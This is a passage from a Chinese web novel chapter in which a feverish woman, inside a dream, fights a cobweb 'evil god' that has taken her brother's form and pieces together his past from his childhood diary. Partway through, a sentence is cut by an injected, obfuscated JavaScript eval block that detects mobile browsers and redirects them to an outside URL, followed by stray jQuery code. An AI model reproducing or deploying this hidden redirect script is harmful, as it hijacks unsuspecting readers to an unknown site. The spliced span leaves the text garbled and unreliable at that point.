作茧自缚的前提是,真实的有血肉的家人。
而不是塞满蛛丝的“稻草包”。
祝穗礼拍拍小鸡脑袋,提示富贵回神。
信奉科学主义的机器人在重塑世界观,趴在她颈间不吭声。
祝穗礼成功操纵梦境,赋予富贵看见异世界脏东西的能力。
蛛丝撑起“祝禾嘉”的躯体,摇摇晃晃如初生婴儿般向她走过去,它泛白的嘴唇轻启:
“果果。”
隐隐能透过它张开的嘴巴,看到喉咙口没藏好的白丝。
高烧带来不适,祝穗礼略微有些恶心。
“呵,你是邪神吗?”她冷笑,“一点都不合格。”
没有信徒,没有能力。
在她的世界里想吞噬她、寄生她,用的还是十年前的老套路。
听到否定评语的“祝禾嘉”想走上前和她理论,编到脚底的蛛丝松散,蠕动着将整个“人”拖起来往前走。
给初生小鸡机器人上完世界观构建的课程,祝穗礼想休息,门口杵着这东西倒胃口,她试图倒转物体时间把门变回来。
失败了。
看来她不能随心所欲控制梦境。
她或许需要替成功阻挡蛛丝前进,编一个合乎逻辑的情节。
“轰。”幻觉老朋友——送包裹的鸟雀飞行器穿墙撞过来,这次它撞倒的不是墙,是邪神触须组成的脏东西。
祝穗礼选择用高科技对冲西幻邪神。
尽职尽责的对话框,穿过横亘在前的鸟雀飞行器跳出来。
【姓名:“祝禾嘉”
价值评定:D
祝福语:工蚁运行的标准是劳力不是劳心,希望你在未来的日子里更上一层楼。】
姓名那栏的祝禾嘉是打引号的。
她没办法控制她的潜意识,她表面上清楚恶心吧啦的蛛丝不会是她哥,心里留存十年阴影作用下,她哥和一只大蜘蛛没什么区别。
不过这个对话框的存在也很值得考量。
对话框如过去一样停留几秒消散,撞毁她家墙充当承重的鸟雀飞行器留了下来。
蛛丝短时间内穿不过来,因为祝穗礼没见过飞行器内部构造,所以它里面被她想象成花岗岩般坚硬的石头。
一扯就断的蛛丝不可能进来。
当然,出口被堵死,她们一样出不去。
祝穗礼拿起随燕归从三楼带下来的线索,准备一样样看过去,拼凑出祝禾嘉藏于人后的过去。
她不出意外地注意到了祝禾嘉写的那本奇奇怪怪的日记,和随燕归以为的日记本是“游戏”故事必要提示不一样,她看完两篇,感觉她哥是早早到了中二期。
祝禾嘉中二期的时候,她在幼儿园的年纪,没太深的印象。
祝圆圆的中二期,她是经历过的。
祝圆圆连续跳级,他高考结束的暑假正值通俗意义上中二期的年纪。
某天早上,祝穗礼起床开冰箱泡麦片,脸上婴儿肥未消退的祝圆圆一脸严肃地移掉她的麦片碗,问道:“你说中国上古古神注视克鲁苏体系的不可名状,谁会赢?”
她弟小小年纪高考完疯了?
祝穗礼抽回她的麦片碗,往里面倒温好的牛奶,“你怎么不问西幻精灵受伤了喝中药,伤会不会好?”
“你说的……”祝圆圆端起她倒剩的牛奶喝一口,“有点道理。”
?有什么道理?
她怎么不知道?
今天太阳打西边出来了,祝圆圆竟然会说别人说的有道理。
祝穗礼默默端起她的早饭,打开电视,摊进沙发里。
麦片碗吃到剩个底,碗底的牛奶重新变凉,她一口干掉。
思考完的祝圆圆走过来,“电饭煲里有保温的饺子和鸡蛋,你不吃吗?”
祝穗礼缓缓抬起脸看他,“不,我在思考蛋黄、饺子皮和小孩磨成粉的心脏能不能混在一起煮。”
未成年的祝圆圆端出饺子盘:“能啊,被抓了记得说是我做的。”
祝禾嘉的抽象日记,既有祝圆圆思维跳跃,也有祝穗礼意有所指,只能说他们不愧是一个屋檐下长起来的。
随燕归看不懂的内容,祝穗礼很容易就看懂了。
比如第一篇,什么狗尾草、蜡烛,纯粹是她哥想过生日,想吃生日蛋糕。
祝禾嘉和她一样,上小学前是大字不识几个的文盲,不过他早上一年学,文盲的时间比较短。
第一篇日记怕是他努力学会拼音没多久,赶上他生日没有蛋糕,嘴馋想吃,小学生伤感抒发一下。
日记当天记录是雨天,不会有月光。
而祝家人从来不过生日。
家庭条件的限制,他们的父母取消了许多有关仪式感的环节,其中包括过生日。
没有各种仪式的确省了很多事情,家长不需要定期去关注小孩子有些天马行空的需求。
如果祝穰满是他们第一个孩子,没有仪式对他来说正好,他同样不必去应付与他思维经常错频的父母。
可祝禾嘉是一个想要很多情感灌溉的小孩子,情感和仪式的缺位,成为他安全感缺失的原因之一。
没有安全感的小孩在第二年生日后一个月迎来了他的妹妹。
祝穗礼比对了一下她和4月1日祝圆圆出生三天的日记内容,她哥开始应该不喜欢她,且更讨厌祝圆圆。
她这边还是头发和眼泪,到他那儿就变成眼珠了。
祝禾嘉表达讨厌的方式,真抽象呐。
祝穗礼拉过纸张迎光去看,“富贵,看得出来涂黑那块写的什么吗?”
“看不出来,太黑了,涂得好均匀。”小鸡富贵调低身体温度,和她贴贴脸,“这些是什么东西,昆虫菜谱吗?”
“苗苗小朋友的抽象记仇日记。”祝穗礼答。
每一次创新的“昆虫菜谱”都代表祝禾嘉当天不美妙的心情。
人前没有红过脸、永远带笑的祝禾嘉,连在背后蛐蛐人,都只会用这种抽象的方式。
那么“邪神”是在哪个时间段敲响他的门呢?
世上可以回答这个问题的生物,一个已经变成一盒轻飘飘的灰,另一个……
“你想知道答案吗?”探寻到欲望气味的邪神找到破绽,悄悄钻出一根蛛丝,无限延伸到她的身边。
小鸡富贵见势不妙,唰地从她肩上跳下,稳稳踩住鬼鬼祟祟地蛛丝,欲用机械爪踩断。
下一秒,蛛丝如蛇般跃起,小鸡富贵整个被掀翻。
“叽!”
躲在角落的其他蛛丝伺机而动,网住滚落的富贵。
祝穗礼指尖停在抽象日记的最后一页,“你说……祝禾嘉在想什么吗?”
心绪动荡,挡在门口的飞行器刚刚还是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460542|169738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
整块坚不可摧的石头,转瞬出现裂缝,供无数蛛丝通行。
“我当然可以告诉你我在想什么。”嗅到翻身契机的蛛丝组成“祝禾嘉”的模样,走至她身前。
祝穗礼的眼中,“祝禾嘉”逐渐长出血肉,摆脱掉怪物的非人感,越来越接近她记忆中的样子。
“祝禾嘉”走向她,拥抱她,融入她。
她变成了十八岁离开家,独自去最北端爬虫市上学的“祝禾嘉”。
家是负担,是枷锁,也是渡鸟越冬的栖息地,是供养枝叶生长的土地。
拉长空间距离,缩短相处时间,“祝禾嘉”反而体会到了父母压缩的爱意。
他们不是不爱他,他们的爱过于驳杂,掺了太多其他的东西。
随着“祝禾嘉”离毕业越来越近,他的体会越发深刻。
他的毕业与在燕叁区的工作无缝衔接,他独自一个人住在家里三楼,早出晚归时,他看见父母与其他人殷切谈论关于他们温和孝顺的大儿子是如何孝顺,如何不用他们操心。
“祝禾嘉”感到割裂,他想要的是这样的爱吗?
他们仅有这样的爱。
工作压力渐大,他失去工作,连同这样的爱都会失去。
于是,他选择与邪神做交易。
他想结茧,他想永远留住落到他身上的那些微不足道的爱意。
留下来吧,依照他的愿望,留下来陪他你可是他最爱的妹妹。
“是啊,我可是他最爱的妹妹。”祝穗礼复述,“他大脑倒退到七岁以前,都不会同意这个脑残的交易内容。”
“邪神”夹带的私货过多,拉回她的神智。
她猛然睁开眼,映在窗户上的倒影浑身蛛丝缠绕,遮住脸,远远看去,就是一个茧的雏形。
“祝禾嘉毕业后想持续获得爸妈的爱,是很简单的。你真有凭空实现其他人愿望的能力,他为什么不和你换一个体面高薪的工作?为什么不让你变出一个漂亮可爱钟情他的富婆?然后在优渥的物质基础上,生几个乖巧听话的孩子。”
祝穗礼一字一句说道:“想要获得我爸妈的爱太简单了。”傻子付出生命和你做交易。
“你不会……没和祝禾嘉做过交易吧。”
她连蒙带猜,触碰到一点真相的边界。
形势倒转,祝穗礼感觉有丝丝力量经由皮肤进入她的经脉,润泽她因高烧烧干的躯体。
“邪神”的心防失守,胜利的天平超她倾斜,漏出来的力量流向她。
品尝到胜利果实一点汁水的祝穗礼继续蓄击:“没有信徒的邪神真的是邪神吗?”
“你有成功发展过信众吗?”
“真的有人相信你的话吗?”
“不会是祝禾嘉忽悠你,忽悠了十几年,拿你当消遣绑你绑了十几年?”
祝穗礼不愧是唯一一个无限接近祝禾嘉世界的人,她说到最后自己都愣住了。
她好像,误打误撞揭开了真相。
“不,不是……”在她耳边说话的“邪神”底气不足,声音愈发弱。
网在她身上的蛛丝摇摇欲坠,仿佛下一秒要落在地上化为烟尘。
祝穗礼抓紧时间,无师自通地吸收它的能量。
碎片化的记忆跟随混在能量堆中,一起传送到她的脑袋里。
窥见“邪神”记忆的祝穗礼拿到了最后的一块拼图。